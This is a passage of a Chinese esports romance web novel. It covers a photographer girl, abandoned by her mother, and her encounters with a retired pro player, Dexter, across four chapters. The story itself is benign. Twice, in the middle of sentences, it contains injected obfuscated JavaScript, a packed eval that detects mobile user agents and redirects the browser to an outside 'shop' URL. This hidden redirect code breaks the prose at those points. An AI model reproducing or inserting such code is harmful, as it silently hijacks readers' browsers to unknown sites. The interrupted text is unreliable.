《所恋皆所德[电竞]》 1. 第一个恋想 十一月的雾雨随着风动飘落。 许恋拂了拂衣上的水雾,身上带着丝丝的凉气。 打开门时,她的嘴角还保持着上扬的弧度。 可迎接自己的只有黑暗。 嘴角的弧度一点点下垂,直到僵在嘴边。 妈妈又忘记自己生日了吗? “咔嗒”一声,灯被打开。 熟悉的一切在她眼前浮现,许恋微微蹙着眉,好像有什么陌生的变化。 但比这些变化更让她不安的是,安静。 一切都太安静了。 她侧头,看见一向空白的鞋柜上多出了一张纸条和一张银行卡。 不安的情绪瞬间在她心中蔓延。 站在原地一动不动,默默地看着那张纸条。然后深吸一口气,拿起了它。 是她最熟悉的笔迹。 “十八岁生日快乐,这张银行卡里的钱足够你富足的过完下半辈子。从今天起,你的人生是你的人生,迷茫也好,走了弯道也好,那都是属于你的人生。而我,要去过只属于我自己的人生了。” 这竟然是身为母亲许湘琅送给她的十八岁生日礼物。 许恋脑海有片刻的空白。 站在原地又过了良久,她恍然回神,低头划亮手机屏幕。 那串烂熟于心的电话号码在她眼前。 她呆愣地看了片刻,才鼓起勇气按下拨打键。 “您好,您拨打的手机是空号。”手机那端机械的女声,在空荡地房间以及她白茫茫地脑海回响。 下一秒,手机从她无力的手中滑落,掉落到了地毯上。 她顺着门蹲下身,抱住自己的肩膀,呆愣地盯着正对着她敞开的主卧。 其实她应该有所准备的,早在两个月前无意间看见许湘琅的移民申请,她就有了一些猜测。 妈妈不爱她,是她一直都清楚的事情。 在许湘琅的生命里,有很多比自己重要的东西。许恋也清楚地知道,自己的存在不是一个美好的事情。 她是许湘琅和初恋生下的孩子,但当时她的初恋隐瞒了他有家庭的事实,哄骗她生下孩子。 通俗点说就是许湘琅被一个有家庭的男人欺骗了,从而生下许恋。 知道真相后的许湘琅带着许恋远离纷扰的家乡,来到了京市。 虽然许湘琅在爱情上不顺,但她眼光毒辣,在事业上可谓是如鱼得水一般的成功,做什么都能赚一笔。 许恋在这样的单亲家庭中长大,她所感受到的爱意是飘忽且不稳定的。就像一只宠物,物质上什么都不缺,可妈妈心情好时对你好几分,心情坏时对你爱答不理。 这种时冷时热、缺乏安全感的养育方式,让许恋从小就活在一份强烈的无归属感之中。 很多时候,她甚至困惑于自己存在的意义。她的存在更像是一个错误,一个许湘琅生命里无法抹去却也不愿全然接纳的错误。 如果许湘琅不离开自己,她可以一直自欺欺人,骗自己的存在还是有点意义。 这是她从小到大最擅长的事。 可随着这张纸条的出现,她现在不得不面对现实:她就是一个没有意义的存在。 连妈妈的爱都没有,她还有什么存在的必要? 纸条上还有最后一段文字,那里留有一个电话和一个地址。 “这是你大姨的电话,这学期上完你就回槠洲吧,她会替你安排一切。” 槠洲是许湘琅的老家,许恋却对那里的一切都很陌生。 许湘琅生下她后,为了不听那些亲戚烦人的嚼舌根,几乎切断了和所有家人的联系。 在许恋记忆里,似乎只在大概十年前,大姨家丢失的女儿被找回来时回去过一次。那时她才八岁,什么特别的印象都没在她脑子里留住。 不过这一些都不重要,她并不打算去联系大姨。 她将许湘琅留给她的纸条揉成一团丢进了垃圾桶里。 反正她也没人要了,那就这样在这座冷漠的城市里自生自灭吧。 她出门前,除了自己最爱的相机,其他什么都没带。 原本是不打算回来的。 - 秋末的京市,树叶都落光了,只剩树枝,寒冷而又萧条。 许恋像无数个心情不好的时候一样,随意地漫步在京市。 但她不像往常那样用相机记录眼前的画面。 摄影,是她独属的一种宽慰自己的方式。 将自己眼中美好的画面记录下来,似乎也能感受到那样的幸福和美满。 而今天,她只是摩挲着自己喜欢的相机,看着所有带着幸福笑容的人们。 周围的一切将她衬得愈发形单影只。 走着,走着。巨大的欢呼声从许恋身旁的体育馆传来,沸腾的声浪几乎要掀翻屋顶一般。 她沉默着让喧嚣声在耳边蔓延,未曾有过任何波澜。脚步绕到场馆后门,想避开那令人窒息的热闹。 与宽阔热闹的前门相比,场馆背后的通道狭窄而混乱,堆着些纸箱和杂物,安静到许恋能听见寒风吹来的呜呼声和自己的脚步声。 她在冰凉的台阶上坐下,将自己的头埋在双膝之间,深深地叹了口气。 就这样在自己创造的小世界里想着今天发生的事。 身后的门在此刻被打开。 许恋刚放松的身体瞬间僵硬起来,埋着的脸一动也不敢动。 略显拖沓的脚步声从门那边走出来,接着是金属打火机盖被弹开的轻响,“嚓”地一声。 烟草的焦苦味飘散过来,混着秋天苍凉的空气。 她下意识抬起头。 出现的是一个个子很高的男生,她要完全抬起头才能看全他的身影。 男生就站在离她三步远的地方,穿着黑红相间的队服外套,袖子胡乱卷到手肘处,露出一截清瘦的小臂。他侧着身,低头点烟时额发垂落,看不清面容。 索德似乎没料到台阶上有人,转过脸时手指还夹着刚点燃的烟。 四目相对的瞬间,他眼底闪过一丝错愕。随即皱了下眉,像是觉得在这里抽烟不太妥当,于是默不作声地往旁边走了几步,远离许恋背过身去。 许恋则慌忙低下头,起身想走。 索德恰好又看了过来。 面前的女孩有着整齐的刘海、齐耳的短发,一看就很乖。 他怔了怔,目光在她微红的眼眶停顿片刻,忽然像是明白了什么。 刚抽两口的烟被掐灭,声音带着未散的沙哑,却意外温和:“输得挺难看的是吧?……别难过。” 许恋面色浮现片刻茫然,像似没有听懂他在说什么。 索德看见她的神情,顿了顿,自嘲地扯了下嘴角,原来不是自己粉丝啊。 愈发苦涩的笑在他嘴角蔓延。 许恋曾经问过自己早熟的好友樊榆雅,“喜欢是什么感觉?” “就是在某一刻,你看见他的那一瞬间,想要与他的命运有所交织。” 在他笑起的这一刻,许恋有了这种感觉。 面前的人明明长相张扬,刚刚侧身时薄唇轻抿,透出一股浑然天成的桀骜和不好惹。 可他此刻的苦笑,一瞬间将他身边的高墙全都倾泄掉了,外表下的脆弱在她面前展露出来。 她从来没见过这样反差的两面会在同一个人身上出现,瞬间脑海一片空白,完全地被眼前的少年所吸引。 这是她十几岁的第一次悸动。 但这时的她,并未发现。 也许是夜风太凉,也许是败局后的倦意让人卸下防备,也许是知道面前的人对自己毫无了解。 索德垂下手,退后一步倚着墙,抬眼看向她,轻声开口,“你听得见里面的欢呼吗?” 许恋不自觉走近了他一步,他的面容在她眼前变得清晰。 一头深蓝色的发色使他带有不羁的锐利,碎发垂落在他的额前。 即使这样,也挡不住他优越的眉骨,他的鼻梁高挺,如果只看上半张脸的话会觉得有些凶。可脸上残留着一点未长开的稚嫩,冒出来的一两颗痘,又让他看起来像一个处于青春期的叛逆小孩。 特别是他看向自己的那双眼睛,眼底有着少年人专属的清澈。 在他开口的同时,场馆内又爆发了一阵欢呼声,还有主持人说话的声音。不过因为两人处在后门,声音传来时有些沉闷。 许恋站在原地,眼里只能看见他那双眼了。 受他目光的蛊惑,点了点头。 他垂眸低语,不像是说给许恋听,更像是说给自已:“有多少人活着就是为了这一瞬间啊……” 顿了顿,他摇头苦笑,“其实我也是,但是我失败了。” 他语气里的失落让许恋动容,她开口带着些安慰:“一次失败算不了什么。” 他侧过脸,眼角有极淡的疲惫。打火机盖不断在他的动作下开合,“是吗?” 语气像在对自己说:“但人生就是这样,就像一场怎么打都赢不了的游戏,你明明已经用尽全力,可其实早就有了结局。” 许恋没有回应他,因为她觉得,他说得很对。 人生里的很多东西是努力也得不到的。 气氛片刻的安静后,他直起身,收起打火机,“即便是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206443|197363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,我们也不要质疑自己的努力。” 许恋的心被这句话轻轻抓住。 “如果生命有既定的轨迹,失败与失去是人生的必修课题的话,那我们也不应该否定自己的努力。” 他瞥见她身上蓝色的校服裤,大概以为她是考试失利的学生,最后还补了一句:“考试嘛,下次再来。” 可许恋站在原地,他的话语直击她的内心深处。 她努力想得到妈妈的爱,有错吗? 许恋张了张嘴,却发不出声音。 比她声音更先出现的,是她毫无预兆快速滚下来的眼泪,砸在地面上。 轮到索德愣住了,他没想到随口几句话会让人哭出来啊。 “哎,你别哭啊?”他慌忙地走近她。 他没惹过女生哭,手忙脚乱地翻找着身上有没有纸巾。 可他哪是那种随身带纸巾的人,他尴尬地搓了搓手,干巴巴地安慰她:“真的没事,考试而已嘛,人生还有很多值得去追逐的东西。” 可面前的女孩依旧是低头抽泣着。 她不是那种放声大哭,是那种在努力也抑制不住的抽泣。 这样反而更人人心疼她。 手足无措的索德看到她胸前挂着的相机,灵机一动,“你喜欢拍照是吗?” 面前的女孩顿了一顿,抬起头看向他,眼里满是泪水的点了点头。 “梦想是当摄影师?” “嗯。” 他深吸一口气,像是下定了什么决心,又或者是为了什么私心。 索德指了指自己,又指了指她的相机,再一次开口:“那你帮我拍一组照片吧。” “就现在,在这里,为我纪念一下今天。” 他微微歪头,“发出去的文案就说:没有冉冉升起的新星,只有陨落的梦想。” 许恋一瞬不动的听着他说话。 明明是一句很难过的话,可他说完竟然微微笑了一下。 他带着少年独有的肆意与自信,再一次指着自己的脸:“你拍我,保证能火的,信不信?” 许恋的思绪顿时凝固,这是她第一次见这样自恋的人。 目光飘然停在他脸上,好吧,他确实配得上这样的自恋。 鬼使神差的,明明不打算再使用相机的许恋,点了点头。 她今天第一次主动地抬起相机,按下了快门键。 索德闪过一丝错愕,没想到这姑娘是行动派,他都还没准备就开始拍了。 但他很快就进入状态,许恋透过镜头,看见那双眼睛,微微弯了起来。 她的心,在此刻加速跳动。 她学过的那些技巧,在索德绝对帅气的脸庞面前根本没用上,因为这个人怎么拍都好看。 “你可以把烟叼在嘴里吗?我给你拍一张。” 刚刚他抽烟时回头看向她的那一眼,实在让她难以忘怀。 他笑了,“这发出去影响不太好吧?” 下一秒又给出解决方案,“我把玩打火机行吗?” 许恋没有犹豫,点了点头,又拿起相机给他拍照。 不知过了多久,他们身后的防盗门又一次被打开。 “Dexter?” 两人一起望过去。 来人和索德穿着一样的红黑相间的队服,他掠过陌生的许恋直接看向索德。 语气里是藏不住的难受,“要采访了,回来吧。” 索德动作一顿,对来人点了点头,声音低沉,没了刚刚短暂的轻松。 “知道了,就来。” 他转过头,目光落在许恋身上。 朝她走了两步,两人的距离骤然拉近,许恋有些不自主的紧张。 他开口,声音比刚刚的要温和了很多,“你看,你拍照就拍得很好呀,你也有你的发光点。” “所以,不要伤心了。” 语气里哄人的音调,是许恋从来没感受过的。 接着,他的目光落在她被风吹得有些发红的鼻尖上,“今天谢谢你,快回家吧。” 在他转身前,许恋叫住了他。 “我怎么把照片发给你啊?要不……” 她最后“加个微信”四个字还没说出口,索德却摆了摆手。 “不用发给我,你直接发到网上就好。”说完,他没再停留,便转身走向了那扇门。 与还在等他的队友,一同走向场馆内部。 “咔嚓。” 许恋无意识拿起相机,在门关上之前,拍下了两人离去的背影。 因为急忙,拍得有些模糊。 门被重新、彻底的关上。 2. 第二个恋想 三年后。 喧嚣的赛场中,许恋扛着相机游走其中,她的世界只有眼前取景框。 正在进行的是今年LPL第三赛段的总决赛OGD战队对战CCW战队。 也是许恋实习以来,遇到的第一个重要的赛事。 “哦?游戏暂停了?”解说的声音散落在场馆各处。 许恋镜头里的选手们也逐渐左顾右盼起来。特别是OGD的队员,他们在片刻的迷茫后,视线定在了某一处,表情也逐渐慌乱。 许恋离得不远,她从相机后抬起头。 从她的角度能清楚地看见OGD的辅助选手YI正在呕吐,并伴随着抽搐的症状。 台下观众的议论声响起,YI座位前的选手比赛实时镜头随后被强制关掉。 “好像有选手身体出现不适请求暂停,请大家稍等片刻。”解说适时开口救场,接着努力将话题转移。 许恋听见准确的消息,放下相机,活动着因长期举着相机僵硬的四肢。 比赛暂停不算罕见事故,许恋这实习的几个月里,大大小小的暂停也遇到过不少次。 原因有网络信号波动、设备异常、版本bug、又或者选手个人原因都会导致比赛暂停。 真正的原因需经选手提出、裁判确定、技术团队层层排查。 即使因为一个小原因暂停,暂停时间往往一停便是十几二十分钟,甚至可能高达几个小时之久。 但这一次,有点严重,原因也是十分少见的选手身体出了问题。 YI很快被赶来的场馆配备的医疗团队带到了后台。 “走吧,我们去后台看看热闹。”与许恋一同来实习的摄影师程泷不知何时走到了她身边。 “这有什么好看的。”许恋皱了皱眉,视线从远处收回。 在她看来,他们的主要职责在于记录赛场的精彩画面,电竞选手这种突发的健康问题涉及别人的隐私,并不方便被记录。 程泷却好似不这样觉得,又靠近半步,“难得的机会,近距离看看突发状况怎么处理,学点东西嘛。” 虽然是一同实习的搭档,但许恋与程泷很不亲近,甚至有些时候她能感受到程泷莫名的恶意。 关于这点,许恋觉得是因为他和自己理念不一样。 她是真的很享受、热爱电竞赛场上的每个瞬间。 在这里,有人一次次落败又一次次卷土重来,有人带着少年的意气风发,有人带着老将的从容不迫。在这里,每一个瞬间都是独一无二的。 可程泷,不这样认为。 他更乐忠于享受“赛事摄影师”这个身份所带来的热度。比起摄影作品,他更希望出圈的是他本人,许恋常常见他与知名电竞选手合拍,然后发到社交平台上,彰显着自己与选手有多么的熟稔。 两人的观念不太合。 更何况他们之间只有一个人转正。本来就是竞争者,关系自然不可能好起来。 许恋默了默,没再应声,低头解锁手机。 未处理的消息栏里有舒愿给自己发的消息:【恋恋,你能帮我看看Heng还好吗?】 Heng,是职业选手周恒衍最初的游戏ID,后来他将自己的ID改为了Sempiternal。可大多数解说及粉丝都觉得这个名字太长太绕口,很多人依旧习惯叫他Heng。 他是舒愿最喜欢的电竞选手,也是正在进行比赛的OGD俱乐部的替补辅助选手。 舒愿今天也在现场看比赛,在看到她的消息后,许恋抬头看向前排的她。 她的眼角弯弯,嘴唇微微嘟起,双手在胸口并拢做乞求状。 许恋笑了一瞬,她转移视线看向舞台中央,裁判还在和提出暂停的选手沟通。 低头打字回复:“好,等我。” 默默地将手机揣回口袋,“走吧,去看看。”许恋对程泷简短地说,没察觉到对方眼中难以捉摸的神色,一起朝后台走去。 舒愿是她高三在老家认识的朋友。从她们认识开始,她就已经喜欢Heng很久了。 她见过她为他输比赛而哭,为他攻击那些嘲讽他的人,为看他的比赛不顾千里的奔波。 所以,她肯定要帮她。 也算是填补自己内心深处的一种空缺感吧。 许恋挺羡慕舒愿的。 至少,她还能见到她喜欢的选手。 哪怕他从首发沦为替补,哪怕英雄迟暮,至少她还能看见他,或为他揪心,或为他欢呼。 那她呢? 她喜欢的那个人呢? 连只言片语都未留下就退出了赛场。他的所有消息被彻底抹去了痕迹,消失得干干净净。 许恋低头,嘴角扯起一丝苦笑。 他在他梦想破碎的那一天,替她铺就了实现梦想的开端。 然后,转身离开,就像从未出现过。 越往里走,紧张的气氛就更凝重。到处都是步履匆忙的工作人员,一遍遍地询问声在后台响起。 “找到heng了吗?” “化妆间找过没?” “电话打得通吗?” 许恋和程泷刚转过一个拐角,就被迎面而来的工作人员叫住。 他先是撑着膝盖喘气,直到缓过来才直起身问他们:“小许、小程,你们有没有看见Heng?” 许恋下意识看向程泷,两人眼里皆是迷茫,许恋先开口答道:“没有……怎么了吗?” “YI马上要去医院了,Heng要上场接着去打比赛,但是现在整个后台都找不到他了。”一口气解释完,面前的工作人员又飞速跑远了。 许恋看向旁边OGD的休息室,里面的领队和工作人员证围着手机急切地说着什么。 她想起一个地方,侧头对身边的程泷说:“我也去找找。” 说完,转头向一个方向走去。 这是通道的尽头,她曾在这扇沉重的消防通道门后看到过发呆的Heng。 所以她猜测,他在这里。 可是走近后,她听到了两个声音。 “这场如果输了,你一定会上场,你不明白他们的动机吗?” 这个声音……听到的瞬间,许恋先是呆滞了一秒,接着惊讶地捂住嘴巴。 哪怕隔着一道门,哪怕已经三年没实打实听过,她还是一秒就认出。 Dexter。 三年前,她在京市体育馆后门遇到的那个人。 同时他也是一位仅上场LPL一年的天才AD电竞选手。他那短短一年获得的荣誉与关注,或许是一个职业选手一辈子都抵达不到的高度。 Dexter在当年国内联赛先后拿下当年的春夏联赛冠军。即使当年的两次国际赛事MSI和S赛都止步于亚军,但所有人都对他的期待奇高,认为他能带领LPL拿下第一赛区的称号。 连大多数喷子都被他的天赋与技术折服,几乎没有黑称,大多都称他为“天赋怪”。 他明明有无限好的未来,可他在一个选手年龄的黄金时期,在操作巅峰时期,带着LPL之光的期待戛然退场,一声不响的退役了。 他的退役成为了LPL的一大谜团之一,没有任何人知道他为什么要退役。 而此刻,后台的喧嚣许恋再也听不见,她的心如雷如鼓的跳动起来。 门内的话语断续传来。 “我不在意,反正是我在LPL的最后一场比赛,只要自己尽力,其他一切都无所谓。”另一道男声响起,语气温和但明显带着些无可奈何的无力。 与他对话的,就是所有人都在寻找的Heng。 安静了片刻,Dexter再次开口,嗓音有些低哑,透过门传来有些模糊不清,许恋大致听见他问:“你要退役吗?” “不然呢?我已经不是你当初认识的那个Heng了,我已经老了。” 是啊,周恒衍虽然才24岁,但对于电竞选手来说,这已经是老年期了。 两人声音逐渐减小,许恋完全听不清楚他们接下来的话。 正当她平缓心跳,准备开口 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首先出来的是Heng,他脸上带着明显的惊愕。 然后,许恋的视线落在了那个随之出现的身影。 她的呼吸短暂停住片刻。 真的是他。 此刻,他穿过三年的时间,站在离她一步之遥的地方。 许恋抬头在他脸上停留了许久。 他的模样变了许多,曾经眉宇间逼人的锐气,如今变得更为柔和、沉稳。 而初见时那头张扬的深蓝色头发,回归了纯粹的黑,修剪成利落又稍带不羁的狼尾式样。几缕碎发随意垂在颈侧与额前,衬得下颌线条清晰而锐利。 三年前残留的那点稚嫩感,早就在他脸上消失不见了。眼神也愈发深邃,让人猜不透他的情绪。 索德的目光原本是落在别处,可面前这个女孩盯着自己的目光实在有点明晃晃。 于是,他的视线转向她。 那是一张清冷又温柔的脸,深棕及肩的头发衬得鹅蛋脸愈发小巧,她的眼里闪着亮晶晶的光, 有一瞬间,脑海里闪过某个画面,他觉得面前的女孩很眼熟。 通道刚刚传来的脚步愈发近,还有另一个工作人员的交谈声,显然是在找Heng。 许恋清晰地看到,索德眉间立刻皱起。 几乎是本能地,他后退了半步,随即侧身,无声地退回了那扇半开着的消防通道门后。 Heng随着他的动作侧头,对他说:“那我先过去了。” 索德简短地“嗯”了声。 就在Heng转身时,他稍停了半步,目光轻掠过仍站在原地的许恋,声音压得很低,“他不想让别人知道他今天来了,拜托帮忙保密。” 许恋狠狠地点头应下。 在周恒衍和工作人员走后,许恋站在原地,没有动。 消防通道的门被轻轻推开。他走了出来,神色已经恢复了之前的平静。 “知道的人太多了,会很麻烦。”他随口解释了一句,声音不高,听不出什么情绪,目光甚至没有在她身上多作停留。 说完,他便径直转身,朝着场馆后门员工出口的通道走去。 他好像没有认出自己。 这个认知,让原本带着些雀跃的许恋又沉闷下来。她目光静静地落在他愈发疏远的背影上。 他的背影在冷白的灯光下拉得很长,脚步沉稳,带着一种说不清的孤独感。 某个瞬间,一种强烈的冲动操控住了许恋。她几乎没经过思考,手臂已经抬起,一直挂在身前的相机被迅速举到眼前。 “咔嚓。” 前方那个挺拔的背影,骤然顿住了。 许恋的心猛地一缩,她看见他停了下来。几秒钟后,他才缓缓侧过身。 同时,许恋几乎是立马转身,小跑着回到了人群混乱的后台。 3. 第三个恋想 随着Heng的上场,比赛又开始继续进行。 线上线下的舆论,在除了YI身体不适这个点外,基本都围绕着刚上场的周恒衍。 弹幕有看乐子的: 弹幕1:派恒亚上场?看来OGD是拱手让冠军了。 弹幕2:这么不信邪?真的没人能打败恒呀。 弹幕3:恒出,我们相信你! 弹幕4:衍生区,带着所有人变菜(白眼)。 …… 也有粉丝替周恒衍打抱不平: 粉丝1:何意味啊? 粉丝2:又派Heng上来背锅是吧? 粉丝3:我都想象得到结局了:赢了就说上中野AD发力了,输了就全怪辅助。 粉丝4:恶心的俱乐部。 …… Heng出道即巅峰,第一场比赛凭借琴女惊艳所有人。他是第一个敢选琴女上场的选手,也是第一个在职业赛场上使用琴女的选手。一手琴女将对面拉扯麻了,既能在前期压制对线,后期又能奶能给伤害。 只是现在,他已进入职业末年。 就像被削弱数值后逐渐成为冷门英雄的琴女一样,昔日被称为天才辅助的他逐渐退出一阵辅助的行列。 今年刚加入OGD的他,刚开始状态还算不错。但随着版本的推进,他与队伍的磨合迟迟未成功,失误反倒越来越多。 于是在第二赛段,俱乐部找了新人选手YI顶替他。 从来都是首发选手的他,第一次成为了替补选手。 今天的决赛也是一样,俱乐部或许是顾虑YI面对大赛心态不稳,第一场派上了Heng上场。很久没上场的他,状态竟然比年初还要好,稳健的拿下了第一把比赛。 可第二局,他还是被换下了,YI登场再赢一局。 OGD原本手握巨大优势,然而第三局风云突变,YI一波致命的失误输掉了比赛。 而现在第四局,OGD在暂停前就处于劣势方,Heng上场似乎也无力回天。 一心工作的许恋并不知道场外的纷纷扰扰和舆论。她只记得舒愿的叮嘱,镜头对准周恒衍,帮她多拍一点属于他的记忆。 好像陪伴电竞选手走了很久的粉丝到最后都一样。即使他的状态起起伏伏,时神时鬼,看着他被黑粉追着骂,看着他伤痕累累心疼不已,可依旧不舍得他离开赛场。 总是想着能再多看一场或者一局比赛。 Heng的粉丝,大多也都不再期待他能获得冠军,只是希望他尽力后不留遗憾。 所以许恋也尽力帮周恒衍多拍些照片留念。 有时候摄影师存在的意义或许就是这样:帮当事人记录不曾在意的瞬间。 直到等到某个不寻常的一天再看,发现原来自己曾经这样过。 周恒衍上场的状态看起来还不错,没有焦虑和压力,仿佛就是面对常规赛一般。 许恋脑海里回想到他刚刚和索德的对话。 他会答应索德再打一年吗?索德说的话只是为了不想看他退役随口说的,还是想了很久之后才决定的? 她不从而得知。 能得知的是,现在第四把的输掉了比赛。而第五把的决胜局,被CCW拿到后期阵容,随着他们进入后期,逐渐掌管了比赛。 今天的冠军似乎没有什么悬念了。 当OGD的基地水晶在屏幕上轰然炸裂时,现场的喧嚣与另一侧的落寞形成鲜明对比。 聚光灯、彩带、狂喜的拥抱,一切都属于胜利者者。 周恒衍还坐在椅子上,他的手指还未从键盘鼠标上移开。 冠军与他再一次擦肩而过,他还是没有打破魔咒。 果不其然,大家不会在意第三局YI的失利,不会在意第四局第五局其他几人的表现,所有的舆论和嘲讽都冲向了他。 线下败者的粉丝有的悲愤离场,有的恨铁不成钢的数落着什么,但也有的大声说着继续加油。 此时的前后台都是属于胜利者的狂欢。 许恋穿梭其中,她快速地记录那些瞬间——连着两年获得冠军的新人上单CICI颤抖着捧起奖杯、奋战多年的Grass把脸埋进手掌喜极而泣、教练上台拥抱所有队员。 直到手指因持续按压快门而微微发酸,这场盛大的仪式才落幕。 许恋整理设备准备离开时,她在休息室通道的岔口,与OGD的队伍狭路相逢。 他们的气压十分低。 走在最后的周恒衍与其他队员落下了一点距离。前头的领队扫了一眼,低声提议“一起去吃点东西吧”,声音里带着宽慰和安抚。 其他人都应“好”,周恒衍却摇了摇头,视线也没有与任何人碰撞。 “你们去吧,我去见个朋友。”他声音沙哑,说完后并未随队离开。 许恋却将他说的话记在心上,朋友…… 她推测,周恒衍口中的朋友,极大可能是索德。 她想要离开的脚步慢了几步,磨蹭地在场馆后门的通道口徘徊。 可最终她也没看见索德的身影,只等到收拾完设备的周恒衍背着包从休息室出来。 路过她时,他顿了顿脚步,对她点了点头。 许恋时常会在自己的社交媒体的账号上发布比赛时的精彩照片,周恒衍的颜值放在电竞圈算是顶级帅哥级别。 有时候她发布的周恒衍的照片会被拿出去传播,帮周恒衍吸了些颜值粉。 周恒衍对她印象比较深刻,两人对上时会打打招呼。 在周恒衍准备离开时,她叫住了他。“恒神,我觉得……你可以相信他。” 他顿了一顿,随即反应过来她嘴中的“他”是谁,短暂地扬起一瞬嘴角,没有说什么,侧身离开了。 许恋的心情莫名低落下来,本来以为索德会等他一起,还想再看他一眼的,看来他是直接去哪等他了。 “我们去哪吃啊?”舒愿语气沉沉地问她。 舒愿早在场馆外等着许恋一起去吃饭,一见到她便揽住她的胳膊。 “我导个航,去最近的商场吧。” 今年的LPL总决赛在江城举行,许恋第一次来江城,并不熟悉。 “好像可以走过去。” “好。”舒愿应道。 许恋看出她的低落,捏了捏她的手:“没关系的,他还有下次机会。” 面前的舒愿撇了撇嘴,眼角也跟着向下耸拉。 因为这一句安慰,她眼里泛起泪光,“他不会了,他上场时眼里都没有光了,看起来就是将这场比赛当最后一场比赛打。” 她见过周恒衍意气风发、眼中含有光的样子,所以今天这样的他,让她内心不安。 明明做好他要退役的准备,可真当这天要到来,却比想象中的难以接受。 “你不知道,我看了他这么多年的比赛他……”舒愿喋喋不休起来,她急切地想要将心中那些难以释怀的感受说出来。 许恋停住脚步,安抚地将她拉住,面对自己,说:“那如果明年Dexter复出,点名要他做辅助,你觉得,他会不会再坚持一年?” 江城体育馆比较偏僻,观众早就随着选手的下班一哄而散,此时道路上极为空旷。 许恋也就不用顾忌地聊起关于周恒衍和索德的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206445|197363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。 一句话,将舒愿剩下的话都卡在了喉咙里。 “你……你说什么?” 许恋这才想起,今天撞见Dexter和Heng的事没有告诉她,于是便大概说了一嘴。 “这是我无意间听到的的,你千万别说出去,是真是假还得等今年年末的转会期才知道。”她不忘叮嘱。 偷听实在不是什么光彩的事,可是听见索德的声音,她就是走不动道。 “放心吧。” 舒愿若有所思地走在许恋身边,两人正经过一个十字路口,红灯亮起,她们停在路边。 她问:“你说……Heng真的会因为索德再打一年吗?” 许恋眼角弯弯,荡出一丝笑意,“我相信他。” 舒愿看了过来,许恋就知道她理解错她口中的“他”了。 “我是说我相信索德,他想做的事,他想要的队友,只要他努力,就一定能得到。”话音刚落,许恋的目光突然盯在了舒愿的身后一动不动。 因为就在此时,她们左侧的道路上,从黑暗中走出了两个熟悉的高挑身影。 舒愿察觉到异样,顺着许恋的目光扭头看去,瞬间瞪大了眼睛,猛地转回头,用气声惊呼:“我的天……”一把抓住了许恋的手腕。 而那边的两人似乎也听见了她们刚刚的对话,脚步顿住了。目光隔着几步的距离盯在她们身上。 舒愿声音压成气音:“是……是他们!” 空气似乎在他们周围停滞。 “可以说出去。”最先开口打破宁静的是索德。 他嘴角勾着一丝笑,朝她们走近两步,“难道我要复出,是一件见不得人的事吗?” Heng在一旁哼笑出声。 “得了,别装了。”他推了索德一把,实在是受不了他这样。 明明内心对于复出打比赛这件事也有些惶恐,不是吗? 而许恋只觉得脑海白茫茫一片,出于本能,她下意识摇头。 恰在此时,绿灯亮起。 索德和Heng率先收回目光,走向了马路对面。 许恋和舒愿站在原地缓了一会,才跟上他们的步伐。 刚到达马路对面,前方的索德却毫无预兆地停住脚步。 Heng不明所以地看向他。 直到身后的两个女孩走到他们面前。 索德的嘴角扬起一抹淡淡地笑,突然定定地看着许恋。 “我想,我刚刚应该还有一句话没说。” 许恋眼中的茫然,和第一次见面听他开口说话时的表情一模一样。 他眼中的笑意愈发深邃。 “?” 许恋感觉时间在这一刻变慢了,周围所有声音都褪去,只有他的话还回荡在她的耳边和心里。 “恭喜你。”他的语气里有着没有过的温柔。 许恋低垂的眼睑骤然抬起,嘴角和眼角几乎是控制不住的微微上扬起来。 他……是不是……想起来了。 “恭喜你实现梦想。”索德将完整的一句话说完。 许恋看着眼前的他,心跳再一次加速跳动起来。 在她意识到索德真的认出到自己的这一刻,她的心情很复杂。 从他今天出现在自己面前起,一切都让她感觉到不真实。 原本觉得不会再见到他,觉得他没有认出自己。 可此刻,看着那双无数次在屏幕里看过的眼睛里清晰、专注地映着她的身影。 或许她在他的生命中,也留下了一些印记。 那些曾经努力去寻找他的记忆又重现在她的脑海。 4. 第四个恋想 在他们第一次见面的那天,许恋并没有听索德的话马上回家。 而是带着突如其来的好奇,在场馆涌出一群人群时随着人群到达了某个地方。 身边的人大多都是面带兴奋的吵吵闹闹,也不乏有些面色低沉的人,默默地等待着什么。 她在人群之中捕捉到几个不断被重复的词:夺冠、又是LCK、韩国队…… 在这些陌生的词汇中,一个特别的名字清晰地落入她的耳中:“Dexter要是那一波拿下了人头,说不定……” 是刚刚那个人的名字! 下一秒心里微微一愣,有点走神的想:“德……?怎么会有人姓德呢?” 许恋不习惯这样拥挤又陌生的环境,只好将自己缩在角落,努力从这片混乱中打捞信息。听了好一会儿,才勉强拼凑出一个大概:今天是一场很重要的电竞比赛,而她刚刚遇见的那个男生的战队输了。 当她还在聚精会神收集信息时,不知是谁低呼了一声:“他们出来了。” 人群中那些原本低落的人们,瞬间骚动起来。 最前方的通道,几个穿着统一队服的身影低着头,背着包,沉默地走了出来。 走在前面的领队努力大声的说些什么,许恋离得有些远,听得不是很清楚,大概是在道歉。 许恋的目光只停留在Dexter身上,他没有了刚刚拍照时的自信和从容,又回到她第一眼所看见的落寞的他。 随后,他们六个人整整齐齐的站成一排,向着人群鞠躬。 围观的人有人用手捂住嘴,眼眶几乎是立刻就红了,却死死压抑着哽咽。更多的人,脸上强撑着,用尽全力朝着他们叫喊: “没关系的!” “明年再来!” 